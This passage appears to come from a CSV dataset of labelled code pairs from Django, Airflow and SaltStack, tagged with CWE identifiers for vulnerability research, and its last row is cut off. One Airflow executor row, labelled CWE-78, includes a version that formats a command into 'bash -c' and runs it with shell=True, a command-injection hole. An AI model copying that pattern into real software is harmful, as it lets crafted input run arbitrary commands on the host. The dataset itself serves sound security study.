                '<option value=""2013"">2013</option>'
                '<option value=""2014"">2014</option>'
                '<option value=""2015"">2015</option>'
                '<option value=""2016"">2016</option>'
                '<option value=""2017"">2017</option>'
                '<option value=""2018"">2018</option>'
                '</select>',
                forms.SelectDateWidget(years=range(2009, 2019)).render('mydate', datetime.date(2009, 12, 31))
            )

        # Russian locale (with E as month)
        with translation.override('ru', deactivate=True):
            self.assertHTMLEqual(
                '<select name=""mydate_day"" id=""id_mydate_day"">'
                '<option value=""0"">---</option>'
                '<option value=""1"">1</option>'
                '<option value=""2"">2</option>'
                '<option value=""3"">3</option>'
                '<option value=""4"">4</option>'
                '<option value=""5"">5</option>'
                '<option value=""6"">6</option>'
                '<option value=""7"">7</option>'
                '<option value=""8"">8</option>'
                '<option value=""9"">9</option>'
                '<option value=""10"">10</option>'
                '<option value=""11"">11</option>'
                '<option value=""12"">12</option>'
                '<option value=""13"">13</option>'
                '<option value=""14"">14</option>'
                '<option value=""15"">15</option>'
                '<option value=""16"">16</option>'
                '<option value=""17"">17</option>'
                '<option value=""18"">18</option>'
                '<option value=""19"">19</option>'
                '<option value=""20"">20</option>'
                '<option value=""21"">21</option>'
                '<option value=""22"">22</option>'
                '<option value=""23"">23</option>'
                '<option value=""24"">24</option>'
                '<option value=""25"">25</option>'
                '<option value=""26"">26</option>'
                '<option value=""27"">27</option>'
                '<option value=""28"">28</option>'
                '<option value=""29"">29</option>'
                '<option value=""30"">30</option>'
                '<option value=""31"" selected=""selected"">31</option>'
                '</select>'
                '<select name=""mydate_month"" id=""id_mydate_month"">'
                '<option value=""0"">---</option>'
                '<option value=""1"">\u042f\u043d\u0432\u0430\u0440\u044c</option>'
                '<option value=""2"">\u0424\u0435\u0432\u0440\u0430\u043b\u044c</option>'
                '<option value=""3"">\u041c\u0430\u0440\u0442</option>'
                '<option value=""4"">\u0410\u043f\u0440\u0435\u043b\u044c</option>'
                '<option value=""5"">\u041c\u0430\u0439</option>'
                '<option value=""6"">\u0418\u044e\u043d\u044c</option>'
                '<option value=""7"">\u0418\u044e\u043b\u044c</option>'
                '<option value=""8"">\u0410\u0432\u0433\u0443\u0441\u0442</option>'
                '<option value=""9"">\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c</option>'
                '<option value=""10"">\u041e\u043a\u0442\u044f\u0431\u0440\u044c</option>'
                '<option value=""11"">\u041d\u043e\u044f\u0431\u0440\u044c</option>'
                '<option value=""12"" selected=""selected"">\u0414\u0435\u043a\u0430\u0431\u0440\u044c</option>'
                '</select>'
                '<select name=""mydate_year"" id=""id_mydate_year"">'
                '<option value=""0"">---</option>'
                '<option value=""2009"" selected=""selected"">2009</option>'
                '<option value=""2010"">2010</option>'
                '<option value=""2011"">2011</option>'
                '<option value=""2012"">2012</option>'
                '<option value=""2013"">2013</option>'
                '<option value=""2014"">2014</option>'
                '<option value=""2015"">2015</option>'
                '<option value=""2016"">2016</option>'
                '<option value=""2017"">2017</option>'
                '<option value=""2018"">2018</option>'
                '</select>',
                forms.SelectDateWidget(years=range(2009, 2019)).render('mydate', datetime.date(2009, 12, 31))
            )

        # English locale
        with translation.override('en', deactivate=True):
            self.assertEqual('N j, Y', get_format('DATE_FORMAT'))
            self.assertEqual(0, get_format('FIRST_DAY_OF_WEEK'))
            self.assertEqual('.', get_format('DECIMAL_SEPARATOR'))
            self.assertEqual('Dec. 31, 2009', date_format(self.d))
            self.assertEqual('December 2009', date_format(self.d, 'YEAR_MONTH_FORMAT'))
            self.assertEqual('12/31/2009 8:50 p.m.', date_format(self.dt, 'SHORT_DATETIME_FORMAT'))
            self.assertEqual('No localizable', localize('No localizable'))

            with self.settings(USE_THOUSAND_SEPARATOR=True):
                self.assertEqual('66,666.666', localize(self.n))
                self.assertEqual('99,999.999', localize(self.f))
                self.assertEqual('10,000', localize(self.l))

            with self.settings(USE_THOUSAND_SEPARATOR=False):
                self.assertEqual('66666.666', localize(self.n))
                self.assertEqual('99999.999', localize(self.f))
                self.assertEqual('10000', localize(self.l))
                self.assertEqual('Dec. 31, 2009', localize(self.d))
                self.assertEqual('Dec. 31, 2009, 8:50 p.m.', localize(self.dt))

            with self.settings(USE_THOUSAND_SEPARATOR=True):
                self.assertEqual('66,666.666', Template('{{ n }}').render(self.ctxt))
                self.assertEqual('99,999.999', Template('{{ f }}').render(self.ctxt))
                self.assertEqual('10,000', Template('{{ l }}').render(self.ctxt))

            with self.settings(USE_THOUSAND_SEPARATOR=False):
                self.assertEqual('66666.666', Template('{{ n }}').render(self.ctxt))
                self.assertEqual('99999.999', Template('{{ f }}').render(self.ctxt))
                self.assertEqual('Dec. 31, 2009', Template('{{ d }}').render(self.ctxt))
                self.assertEqual('Dec. 31, 2009, 8:50 p.m.', Template('{{ dt }}').render(self.ctxt))
                self.assertEqual('66666.67', Template('{{ n|floatformat:2 }}').render(self.ctxt))
                self.assertEqual('100000.0', Template('{{ f|floatformat }}').render(self.ctxt))
                self.assertEqual('12/31/2009', Template('{{ d|date:""SHORT_DATE_FORMAT"" }}').render(self.ctxt))
                self.assertEqual(
                    '12/31/2009 8:50 p.m.',
                    Template('{{ dt|date:""SHORT_DATETIME_FORMAT"" }}').render(self.ctxt)
                )

            form5 = I18nForm({
                'decimal_field': '66666.666',
                'float_field': '99999.999',
                'date_field': '12/31/2009',
                'datetime_field': '12/31/2009 20:50',
                'time_field': '20:50',
                'integer_field': '1234',
            })
            self.assertTrue(form5.is_valid())
            self.assertEqual(decimal.Decimal('66666.666'), form5.cleaned_data['decimal_field'])
            self.assertEqual(99999.999, form5.cleaned_data['float_field'])
            self.assertEqual(datetime.date(2009, 12, 31), form5.cleaned_data['date_field'])
            self.assertEqual(datetime.datetime(2009, 12, 31, 20, 50), form5.cleaned_data['datetime_field'])
            self.assertEqual(datetime.time(20, 50), form5.cleaned_data['time_field'])
            self.assertEqual(1234, form5.cleaned_data['integer_field'])

            form6 = SelectDateForm({
                'date_field_month': '12',
                'date_field_day': '31',
                'date_field_year': '2009'
            })
            self.assertTrue(form6.is_valid())
            self.assertEqual(datetime.date(2009, 12, 31), form6.cleaned_data['date_field'])
            self.assertHTMLEqual(
                '<select name=""mydate_month"" id=""id_mydate_month"">'
                '<option value=""0"">---</option>'
                '<option value=""1"">January</option>'
                '<option value=""2"">February</option>'
                '<option value=""3"">March</option>'
                '<option value=""4"">April</option>'
                '<option value=""5"">May</option>'
                '<option value=""6"">June</option>'
                '<option value=""7"">July</option>'
                '<option value=""8"">August</option>'
                '<option value=""9"">September</option>'
                '<option value=""10"">October</option>'
                '<option value=""11"">November</option>'
                '<option value=""12"" selected=""selected"">December</option>'
                '</select>'
                '<select name=""mydate_day"" id=""id_mydate_day"">'
                '<option value=""0"">---</option>'
                '<option value=""1"">1</option>'
                '<option value=""2"">2</option>'
                '<option value=""3"">3</option>'
                '<option value=""4"">4</option>'
                '<option value=""5"">5</option>'
                '<option value=""6"">6</option>'
                '<option value=""7"">7</option>'
                '<option value=""8"">8</option>'
                '<option value=""9"">9</option>'
                '<option value=""10"">10</option>'
                '<option value=""11"">11</option>'
                '<option value=""12"">12</option>'
                '<option value=""13"">13</option>'
                '<option value=""14"">14</option>'
                '<option value=""15"">15</option>'
                '<option value=""16"">16</option>'
                '<option value=""17"">17</option>'
                '<option value=""18"">18</option>'
                '<option value=""19"">19</option>'
                '<option value=""20"">20</option>'
                '<option value=""21"">21</option>'
                '<option value=""22"">22</option>'
                '<option value=""23"">23</option>'
                '<option value=""24"">24</option>'
                '<option value=""25"">25</option>'
                '<option value=""26"">26</option>'
                '<option value=""27"">27</option>'
                '<option value=""28"">28</option>'
                '<option value=""29"">29</option>'
                '<option value=""30"">30</option>'
                '<option value=""31"" selected=""selected"">31</option>'
                '</select>'
                '<select name=""mydate_year"" id=""id_mydate_year"">'
                '<option value=""0"">---</option>'
                '<option value=""2009"" selected=""selected"">2009</option>'
                '<option value=""2010"">2010</option>'
                '<option value=""2011"">2011</option>'
                '<option value=""2012"">2012</option>'
                '<option value=""2013"">2013</option>'
                '<option value=""2014"">2014</option>'
                '<option value=""2015"">2015</option>'
                '<option value=""2016"">2016</option>'
                '<option value=""2017"">2017</option>'
                '<option value=""2018"">2018</option>'
                '</select>',
                forms.SelectDateWidget(years=range(2009, 2019)).render('mydate', datetime.date(2009, 12, 31))
            )",CWE-Unknown,django/django,8119b679eb85cdc0ae3d321e54d06dd0200a1e82,"def test_l10n_enabled(self):
        self.maxDiff = 3000
        # Catalan locale
        with translation.override('ca', deactivate=True):
            self.assertEqual('j \d\e F \d\e Y', get_format('DATE_FORMAT'))
            self.assertEqual(1, get_format('FIRST_DAY_OF_WEEK'))
            self.assertEqual(',', get_format('DECIMAL_SEPARATOR'))
            self.assertEqual('10:15', time_format(self.t))
            self.assertEqual('31 de desembre de 2009', date_format(self.d))
            self.assertEqual('desembre del 2009', date_format(self.d, 'YEAR_MONTH_FORMAT'))
            self.assertEqual('31/12/2009 20:50', date_format(self.dt, 'SHORT_DATETIME_FORMAT'))
            self.assertEqual('No localizable', localize('No localizable'))

            with self.settings(USE_THOUSAND_SEPARATOR=True):
                self.assertEqual('66.666,666', localize(self.n))
                self.assertEqual('99.999,999', localize(self.f))
                self.assertEqual('10.000', localize(self.l))
                self.assertEqual('True', localize(True))

            with self.settings(USE_THOUSAND_SEPARATOR=False):
                self.assertEqual('66666,666', localize(self.n))
                self.assertEqual('99999,999', localize(self.f))
                self.assertEqual('10000', localize(self.l))
                self.assertEqual('31 de desembre de 2009', localize(self.d))
                self.assertEqual('31 de desembre de 2009 a les 20:50', localize(self.dt))

            with self.settings(USE_THOUSAND_SEPARATOR=True):
                self.assertEqual('66.666,666', Template('{{ n }}').render(self.ctxt))
                self.assertEqual('99.999,999', Template('{{ f }}').render(self.ctxt))
                self.assertEqual('10.000', Template('{{ l }}').render(self.ctxt))

            with self.settings(USE_THOUSAND_SEPARATOR=True):
                form3 = I18nForm({
                    'decimal_field': '66.666,666',
                    'float_field': '99.999,999',
                    'date_field': '31/12/2009',
                    'datetime_field': '31/12/2009 20:50',
                    'time_field': '20:50',
                    'integer_field': '1.234',
                })
                self.assertTrue(form3.is_valid())
                self.assertEqual(decimal.Decimal('66666.666'), form3.cleaned_data['decimal_field'])
                self.assertEqual(99999.999, form3.cleaned_data['float_field'])
                self.assertEqual(datetime.date(2009, 12, 31), form3.cleaned_data['date_field'])
                self.assertEqual(datetime.datetime(2009, 12, 31, 20, 50), form3.cleaned_data['datetime_field'])
                self.assertEqual(datetime.time(20, 50), form3.cleaned_data['time_field'])
                self.assertEqual(1234, form3.cleaned_data['integer_field'])

            with self.settings(USE_THOUSAND_SEPARATOR=False):
                self.assertEqual('66666,666', Template('{{ n }}').render(self.ctxt))
                self.assertEqual('99999,999', Template('{{ f }}').render(self.ctxt))
                self.assertEqual('31 de desembre de 2009', Template('{{ d }}').render(self.ctxt))
                self.assertEqual('31 de desembre de 2009 a les 20:50', Template('{{ dt }}').render(self.ctxt))
                self.assertEqual('66666,67', Template('{{ n|floatformat:2 }}').render(self.ctxt))
                self.assertEqual('100000,0', Template('{{ f|floatformat }}').render(self.ctxt))
                self.assertEqual('10:15', Template('{{ t|time:""TIME_FORMAT"" }}').render(self.ctxt))
                self.assertEqual('31/12/2009', Template('{{ d|date:""SHORT_DATE_FORMAT"" }}').render(self.ctxt))
                self.assertEqual(
                    '31/12/2009 20:50',
                    Template('{{ dt|date:""SHORT_DATETIME_FORMAT"" }}').render(self.ctxt)
                )
                self.assertEqual(date_format(datetime.datetime.now(), ""DATE_FORMAT""),
                                 Template('{% now ""DATE_FORMAT"" %}').render(self.ctxt))

            with self.settings(USE_THOUSAND_SEPARATOR=False):
                form4 = I18nForm({
                    'decimal_field': '66666,666',
                    'float_field': '99999,999',
                    'date_field': '31/12/2009',
                    'datetime_field': '31/12/2009 20:50',
                    'time_field': '20:50',
                    'integer_field': '1234',
                })
                self.assertTrue(form4.is_valid())
                self.assertEqual(decimal.Decimal('66666.666'), form4.cleaned_data['decimal_field'])
                self.assertEqual(99999.999, form4.cleaned_data['float_field'])
                self.assertEqual(datetime.date(2009, 12, 31), form4.cleaned_data['date_field'])
                self.assertEqual(datetime.datetime(2009, 12, 31, 20, 50), form4.cleaned_data['datetime_field'])
                self.assertEqual(datetime.time(20, 50), form4.cleaned_data['time_field'])
                self.assertEqual(1234, form4.cleaned_data['integer_field'])

            form5 = SelectDateForm({
                'date_field_month': '12',
                'date_field_day': '31',
                'date_field_year': '2009'
            })
            self.assertTrue(form5.is_valid())
            self.assertEqual(datetime.date(2009, 12, 31), form5.cleaned_data['date_field'])
            self.assertHTMLEqual(
                '<select name=""mydate_day"" id=""id_mydate_day"">'
                '<option value=""0"">---</option>'
                '<option value=""1"">1</option>'
                '<option value=""2"">2</option>'
                '<option value=""3"">3</option>'
                '<option value=""4"">4</option>'
                '<option value=""5"">5</option>'
                '<option value=""6"">6</option>'
                '<option value=""7"">7</option>'
                '<option value=""8"">8</option>'
                '<option value=""9"">9</option>'
                '<option value=""10"">10</option>'
                '<option value=""11"">11</option>'
                '<option value=""12"">12</option>'
                '<option value=""13"">13</option>'
                '<option value=""14"">14</option>'
                '<option value=""15"">15</option>'
                '<option value=""16"">16</option>'
                '<option value=""17"">17</option>'
                '<option value=""18"">18</option>'
                '<option value=""19"">19</option>'
                '<option value=""20"">20</option>'
                '<option value=""21"">21</option>'
                '<option value=""22"">22</option>'
                '<option value=""23"">23</option>'
                '<option value=""24"">24</option>'
                '<option value=""25"">25</option>'
                '<option value=""26"">26</option>'
                '<option value=""27"">27</option>'
                '<option value=""28"">28</option>'
                '<option value=""29"">29</option>'
                '<option value=""30"">30</option>'
                '<option value=""31"" selected=""selected"">31</option>'
                '</select>'
                '<select name=""mydate_month"" id=""id_mydate_month"">'
                '<option value=""0"">---</option>'
                '<option value=""1"">gener</option>'
                '<option value=""2"">febrer</option>'
                '<option value=""3"">mar\xe7</option>'
                '<option value=""4"">abril</option>'
                '<option value=""5"">maig</option>'
                '<option value=""6"">juny</option>'
                '<option value=""7"">juliol</option>'
                '<option value=""8"">agost</option>'
                '<option value=""9"">setembre</option>'
                '<option value=""10"">octubre</option>'
                '<option value=""11"">novembre</option>'
                '<option value=""12"" selected=""selected"">desembre</option>'
                '</select>'
                '<select name=""mydate_year"" id=""id_mydate_year"">'
                '<option value=""0"">---</option>'
                '<option value=""2009"" selected=""selected"">2009</option>'
                '<option value=""2010"">2010</option>'
                '<option value=""2011"">2011</option>'
                '<option value=""2012"">2012</option>'
                '<option value=""2013"">2013</option>'
                '<option value=""2014"">2014</option>'
                '<option value=""2015"">2015</option>'
                '<option value=""2016"">2016</option>'
                '<option value=""2017"">2017</option>'
                '<option value=""2018"">2018</option>'
                '</select>',
                forms.SelectDateWidget(years=range(2009, 2019)).render('mydate', datetime.date(2009, 12, 31))
            )

        # Russian locale (with E as month)
        with translation.override('ru', deactivate=True):
            self.assertHTMLEqual(
                '<select name=""mydate_day"" id=""id_mydate_day"">'
                '<option value=""0"">---</option>'
                '<option value=""1"">1</option>'
                '<option value=""2"">2</option>'
                '<option value=""3"">3</option>'
                '<option value=""4"">4</option>'
                '<option value=""5"">5</option>'
                '<option value=""6"">6</option>'
                '<option value=""7"">7</option>'
                '<option value=""8"">8</option>'
                '<option value=""9"">9</option>'
                '<option value=""10"">10</option>'
                '<option value=""11"">11</option>'
                '<option value=""12"">12</option>'
                '<option value=""13"">13</option>'
                '<option value=""14"">14</option>'
                '<option value=""15"">15</option>'
                '<option value=""16"">16</option>'
                '<option value=""17"">17</option>'
                '<option value=""18"">18</option>'
                '<option value=""19"">19</option>'
                '<option value=""20"">20</option>'
                '<option value=""21"">21</option>'
                '<option value=""22"">22</option>'
                '<option value=""23"">23</option>'
                '<option value=""24"">24</option>'
                '<option value=""25"">25</option>'
                '<option value=""26"">26</option>'
                '<option value=""27"">27</option>'
                '<option value=""28"">28</option>'
                '<option value=""29"">29</option>'
                '<option value=""30"">30</option>'
                '<option value=""31"" selected=""selected"">31</option>'
                '</select>'
                '<select name=""mydate_month"" id=""id_mydate_month"">'
                '<option value=""0"">---</option>'
                '<option value=""1"">\u042f\u043d\u0432\u0430\u0440\u044c</option>'
                '<option value=""2"">\u0424\u0435\u0432\u0440\u0430\u043b\u044c</option>'
                '<option value=""3"">\u041c\u0430\u0440\u0442</option>'
                '<option value=""4"">\u0410\u043f\u0440\u0435\u043b\u044c</option>'
                '<option value=""5"">\u041c\u0430\u0439</option>'
                '<option value=""6"">\u0418\u044e\u043d\u044c</option>'
                '<option value=""7"">\u0418\u044e\u043b\u044c</option>'
                '<option value=""8"">\u0410\u0432\u0433\u0443\u0441\u0442</option>'
                '<option value=""9"">\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c</option>'
                '<option value=""10"">\u041e\u043a\u0442\u044f\u0431\u0440\u044c</option>'
                '<option value=""11"">\u041d\u043e\u044f\u0431\u0440\u044c</option>'
                '<option value=""12"" selected=""selected"">\u0414\u0435\u043a\u0430\u0431\u0440\u044c</option>'
                '</select>'
                '<select name=""mydate_year"" id=""id_mydate_year"">'
                '<option value=""0"">---</option>'
                '<option value=""2009"" selected=""selected"">2009</option>'
                '<option value=""2010"">2010</option>'
                '<option value=""2011"">2011</option>'
                '<option value=""2012"">2012</option>'
                '<option value=""2013"">2013</option>'
                '<option value=""2014"">2014</option>'
                '<option value=""2015"">2015</option>'
                '<option value=""2016"">2016</option>'
                '<option value=""2017"">2017</option>'
                '<option value=""2018"">2018</option>'
                '</select>',
                forms.SelectDateWidget(years=range(2009, 2019)).render('mydate', datetime.date(2009, 12, 31))
            )

        # English locale
        with translation.override('en', deactivate=True):
            self.assertEqual('N j, Y', get_format('DATE_FORMAT'))
            self.assertEqual(0, get_format('FIRST_DAY_OF_WEEK'))
            self.assertEqual('.', get_format('DECIMAL_SEPARATOR'))
            self.assertEqual('Dec. 31, 2009', date_format(self.d))
            self.assertEqual('December 2009', date_format(self.d, 'YEAR_MONTH_FORMAT'))
            self.assertEqual('12/31/2009 8:50 p.m.', date_format(self.dt, 'SHORT_DATETIME_FORMAT'))
            self.assertEqual('No localizable', localize('No localizable'))

            with self.settings(USE_THOUSAND_SEPARATOR=True):
                self.assertEqual('66,666.666', localize(self.n))
                self.assertEqual('99,999.999', localize(self.f))
                self.assertEqual('10,000', localize(self.l))

            with self.settings(USE_THOUSAND_SEPARATOR=False):
                self.assertEqual('66666.666', localize(self.n))
                self.assertEqual('99999.999', localize(self.f))
                self.assertEqual('10000', localize(self.l))
                self.assertEqual('Dec. 31, 2009', localize(self.d))
                self.assertEqual('Dec. 31, 2009, 8:50 p.m.', localize(self.dt))

            with self.settings(USE_THOUSAND_SEPARATOR=True):
                self.assertEqual('66,666.666', Template('{{ n }}').render(self.ctxt))
                self.assertEqual('99,999.999', Template('{{ f }}').render(self.ctxt))
                self.assertEqual('10,000', Template('{{ l }}').render(self.ctxt))

            with self.settings(USE_THOUSAND_SEPARATOR=False):
                self.assertEqual('66666.666', Template('{{ n }}').render(self.ctxt))
                self.assertEqual('99999.999', Template('{{ f }}').render(self.ctxt))
                self.assertEqual('Dec. 31, 2009', Template('{{ d }}').render(self.ctxt))
                self.assertEqual('Dec. 31, 2009, 8:50 p.m.', Template('{{ dt }}').render(self.ctxt))
                self.assertEqual('66666.67', Template('{{ n|floatformat:2 }}').render(self.ctxt))
                self.assertEqual('100000.0', Template('{{ f|floatformat }}').render(self.ctxt))
                self.assertEqual('12/31/2009', Template('{{ d|date:""SHORT_DATE_FORMAT"" }}').render(self.ctxt))
                self.assertEqual(
                    '12/31/2009 8:50 p.m.',
                    Template('{{ dt|date:""SHORT_DATETIME_FORMAT"" }}').render(self.ctxt)
                )

            form5 = I18nForm({
                'decimal_field': '66666.666',
                'float_field': '99999.999',
                'date_field': '12/31/2009',
                'datetime_field': '12/31/2009 20:50',
                'time_field': '20:50',
                'integer_field': '1234',
            })
            self.assertTrue(form5.is_valid())
            self.assertEqual(decimal.Decimal('66666.666'), form5.cleaned_data['decimal_field'])
            self.assertEqual(99999.999, form5.cleaned_data['float_field'])
            self.assertEqual(datetime.date(2009, 12, 31), form5.cleaned_data['date_field'])
            self.assertEqual(datetime.datetime(2009, 12, 31, 20, 50), form5.cleaned_data['datetime_field'])
            self.assertEqual(datetime.time(20, 50), form5.cleaned_data['time_field'])
            self.assertEqual(1234, form5.cleaned_data['integer_field'])

            form6 = SelectDateForm({
                'date_field_month': '12',
                'date_field_day': '31',
                'date_field_year': '2009'
            })
            self.assertTrue(form6.is_valid())
            self.assertEqual(datetime.date(2009, 12, 31), form6.cleaned_data['date_field'])
            self.assertHTMLEqual(
                '<select name=""mydate_month"" id=""id_mydate_month"">'
                '<option value=""0"">---</option>'
                '<option value=""1"">January</option>'
                '<option value=""2"">February</option>'
                '<option value=""3"">March</option>'
                '<option value=""4"">April</option>'
                '<option value=""5"">May</option>'
                '<option value=""6"">June</option>'
                '<option value=""7"">July</option>'
                '<option value=""8"">August</option>'
                '<option value=""9"">September</option>'
                '<option value=""10"">October</option>'
                '<option value=""11"">November</option>'
                '<option value=""12"" selected=""selected"">December</option>'
                '</select>'
                '<select name=""mydate_day"" id=""id_mydate_day"">'
                '<option value=""0"">---</option>'
                '<option value=""1"">1</option>'
                '<option value=""2"">2</option>'
                '<option value=""3"">3</option>'
                '<option value=""4"">4</option>'
                '<option value=""5"">5</option>'
                '<option value=""6"">6</option>'
                '<option value=""7"">7</option>'
                '<option value=""8"">8</option>'
                '<option value=""9"">9</option>'
                '<option value=""10"">10</option>'
                '<option value=""11"">11</option>'
                '<option value=""12"">12</option>'
                '<option value=""13"">13</option>'
                '<option value=""14"">14</option>'
                '<option value=""15"">15</option>'
                '<option value=""16"">16</option>'
                '<option value=""17"">17</option>'
                '<option value=""18"">18</option>'
                '<option value=""19"">19</option>'
                '<option value=""20"">20</option>'
                '<option value=""21"">21</option>'
                '<option value=""22"">22</option>'
                '<option value=""23"">23</option>'
                '<option value=""24"">24</option>'
                '<option value=""25"">25</option>'
                '<option value=""26"">26</option>'
                '<option value=""27"">27</option>'
                '<option value=""28"">28</option>'
                '<option value=""29"">29</option>'
                '<option value=""30"">30</option>'
                '<option value=""31"" selected=""selected"">31</option>'
                '</select>'
                '<select name=""mydate_year"" id=""id_mydate_year"">'
                '<option value=""0"">---</option>'
                '<option value=""2009"" selected=""selected"">2009</option>'
                '<option value=""2010"">2010</option>'
                '<option value=""2011"">2011</option>'
                '<option value=""2012"">2012</option>'
                '<option value=""2013"">2013</option>'
                '<option value=""2014"">2014</option>'
                '<option value=""2015"">2015</option>'
                '<option value=""2016"">2016</option>'
                '<option value=""2017"">2017</option>'
                '<option value=""2018"">2018</option>'
                '</select>',
                forms.SelectDateWidget(years=range(2009, 2019)).render('mydate', datetime.date(2009, 12, 31))
            )"
,UNKNOWN,UNKNOWN,airflow/executors/local_executor.py,1,"def execute_work(self, key, command):
        """"""
        Executes command received and stores result state in queue.
        :param key: the key to identify the TI
        :type key: Tuple(dag_id, task_id, execution_date)
        :param command: the command to execute
        :type command: str
        """"""
        if key is None:
            return
        self.log.info(""%s running %s"", self.__class__.__name__, command)
        try:
            subprocess.check_call(command, close_fds=True)
            state = State.SUCCESS
        except subprocess.CalledProcessError as e:
            state = State.FAILED
            self.log.error(""Failed to execute task %s."", str(e))
            # TODO: Why is this commented out?
            # raise e
        self.result_queue.put((key, state))",CWE-78,apache/airflow,ad2bc2c3400bd55fa560f43a718d0db9cc9abbdc,"def execute_work(self, key, command):
        """"""
        Executes command received and stores result state in queue.
        :param key: the key to identify the TI
        :type key: Tuple(dag_id, task_id, execution_date)
        :param command: the command to execute
        :type command: str
        """"""
        if key is None:
            return
        self.log.info(""%s running %s"", self.__class__.__name__, command)
        command = ""exec bash -c '{0}'"".format(command)
        try:
            subprocess.check_call(command, shell=True, close_fds=True)
            state = State.SUCCESS
        except subprocess.CalledProcessError as e:
            state = State.FAILED
            self.log.error(""Failed to execute task %s."", str(e))
            # TODO: Why is this commented out?
            # raise e
        self.result_queue.put((key, state))"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/api_fastapi/app.py,0,"def create_app(apps: str = ""all"") -> FastAPI:
    apps_list = apps.split("","") if apps else [""all""]

    fastapi_base_url = conf.get(""fastapi"", ""base_url"")
    if fastapi_base_url.endswith(""/""):
        raise AirflowConfigException(""fastapi.base_url conf cannot have a trailing slash."")

    root_path = urlsplit(fastapi_base_url).path
    if not root_path or root_path == ""/"":
        root_path = """"

    app = FastAPI(
        title=""Airflow API"",
        description=""Airflow API. All endpoints located under ``/public`` can be used safely, are stable and backward compatible. ""
        ""Endpoints located under ``/ui`` are dedicated to the UI and are subject to breaking change ""
        ""depending on the need of the frontend. Users should not rely on those but use the public ones instead."",
        lifespan=lifespan,
        root_path=root_path,
    )

    if ""core"" in apps_list or ""all"" in apps_list:
        init_dag_bag(app)
        init_views(app)
        init_plugins(app)
        init_auth_manager(app)
        init_flask_plugins(app)
        init_error_handlers(app)
        init_middlewares(app)

    if ""execution"" in apps_list or ""all"" in apps_list:
        task_exec_api_app = create_task_execution_api_app()
        init_error_handlers(task_exec_api_app)
        app.mount(""/execution"", task_exec_api_app)

    init_config(app)

    return app",CWE-Unknown,apache/airflow,711d1fdc0e0b06da6299242a62296cbfaa94a319,"def create_app(apps: str = ""all"") -> FastAPI:
    apps_list = apps.split("","") if apps else [""all""]

    fastapi_base_url = conf.get(""fastapi"", ""base_url"")
    if fastapi_base_url.endswith(""/""):
        raise AirflowConfigException(""fastapi.base_url conf cannot have a trailing slash."")

    root_path = urlsplit(fastapi_base_url).path
    if not root_path or root_path == ""/"":
        root_path = """"

    app = FastAPI(
        title=""Airflow API"",
        description=""Airflow API. All endpoints located under ``/public`` can be used safely, are stable and backward compatible. ""
        ""Endpoints located under ``/ui`` are dedicated to the UI and are subject to breaking change ""
        ""depending on the need of the frontend. Users should not rely on those but use the public ones instead."",
        lifespan=lifespan,
        root_path=root_path,
    )

    if ""core"" in apps_list or ""all"" in apps_list:
        init_dag_bag(app)
        init_views(app)
        init_plugins(app)
        init_auth_manager(app)
        init_flask_plugins(app)
        init_error_handlers(app)
        init_middlewares(app)

    if ""execution"" in apps_list or ""all"" in apps_list:
        task_exec_api_app = create_task_execution_api_app(app)
        init_error_handlers(task_exec_api_app)
        app.mount(""/execution"", task_exec_api_app)

    init_config(app)

    return app"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/www/extensions/init_appbuilder.py,0,"def _process_inner_views(self):
        for view in self.baseviews:
            for inner_class in view.get_uninit_inner_views():
                for v in self.baseviews:
                    if isinstance(v, inner_class) and v not in view.get_init_inner_views():
                        view.get_init_inner_views().append(v)",CWE-Unknown,apache/airflow,e24733662e95ad082e786d4855066cd4d36015c9,"def _process_inner_views(self):
        for view in self.baseviews:
            for inner_class in view.get_uninit_inner_views():
                for v in self.baseviews:
                    if isinstance(v, inner_class) and v not in view.get_init_inner_views():
                        view.get_init_inner_views().append(v)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/states/composer.py,0,"def installed(name,
              composer=None,
              php=None,
              user=None,
              prefer_source=None,
              prefer_dist=None,
              no_scripts=None,
              no_plugins=None,
              optimize=None,
              no_dev=None,
              quiet=False,
              composer_home='/root'):
    '''
    Verify that composer has installed the latest packages give a
    ``composer.json`` and ``composer.lock`` file in a directory.

    dir
        Directory location of the composer.json file.

    composer
        Location of the composer.phar file. If not set composer will
        just execute ""composer"" as if it is installed globally.
        (i.e. /path/to/composer.phar)

    php
        Location of the php executable to use with composer.
        (i.e. /usr/bin/php)

    user
        Which system user to run composer as.

        .. versionadded:: 2014.1.4

    prefer_source
        --prefer-source option of composer.

    prefer_dist
        --prefer-dist option of composer.

    no_scripts
        --no-scripts option of composer.

    no_plugins
        --no-plugins option of composer.

    optimize
        --optimize-autoloader option of composer. Recommended for production.

    no_dev
        --no-dev option for composer. Recommended for production.

    quiet
        --quiet option for composer. Whether or not to return output from composer.

    composer_home
        $COMPOSER_HOME environment variable
    '''
    ret = {'name': name, 'result': None, 'comment': '', 'changes': {}}

    # Check if composer.lock exists, if so we already ran `composer install`
    # and we don't need to do it again
    if __salt__['composer.did_composer_install'](name):
        ret['result'] = True
        ret['comment'] = 'Composer already installed this directory'
        return ret

    # The state of the system does need to be changed. Check if we're running
    # in ``test=true`` mode.
    if __opts__['test'] is True:
        ret['comment'] = 'The state of ""{0}"" will be changed.'.format(name)
        ret['changes'] = {
            'old': 'composer install has not yet been run in {0}'.format(name),
            'new': 'composer install will be run in {0}'.format(name)
        }
        ret['result'] = None
        return ret

    try:
        call = __salt__['composer.install'](
            name,
            composer=composer,
            php=php,
            runas=user,
            prefer_source=prefer_source,
            prefer_dist=prefer_dist,
            no_scripts=no_scripts,
            no_plugins=no_plugins,
            optimize=optimize,
            no_dev=no_dev,
            quiet=quiet,
            composer_home=composer_home
        )
    except (SaltException) as err:
        ret['result'] = False
        ret['comment'] = 'Error executing composer in \'{0!r}\': {1!r}'.format(name, err)
        return ret

    # If composer retcode != 0 then an exception was thrown and we dealt with it.
    # Any other case is success, regardless of what composer decides to output.

    ret['result'] = True

    if quiet is True:
        ret['comment'] = 'Composer install completed successfully, output silenced by quiet flag'
    else:
        ret['comment'] = 'Composer install completed successfully'
        ret['changes'] = {
            'stderr': call['stderr'],
            'stdout': call['stdout']
        }

    return ret",,saltstack/salt,290324dff495f560a41ce09300826d419a7f553c,"def installed(name,
              composer=None,
              php=None,
              user=None,
              prefer_source=None,
              prefer_dist=None,
              no_scripts=None,
              no_plugins=None,
              optimize=None,
              no_dev=None,
              quiet=False,
              composer_home='/root'):
    '''
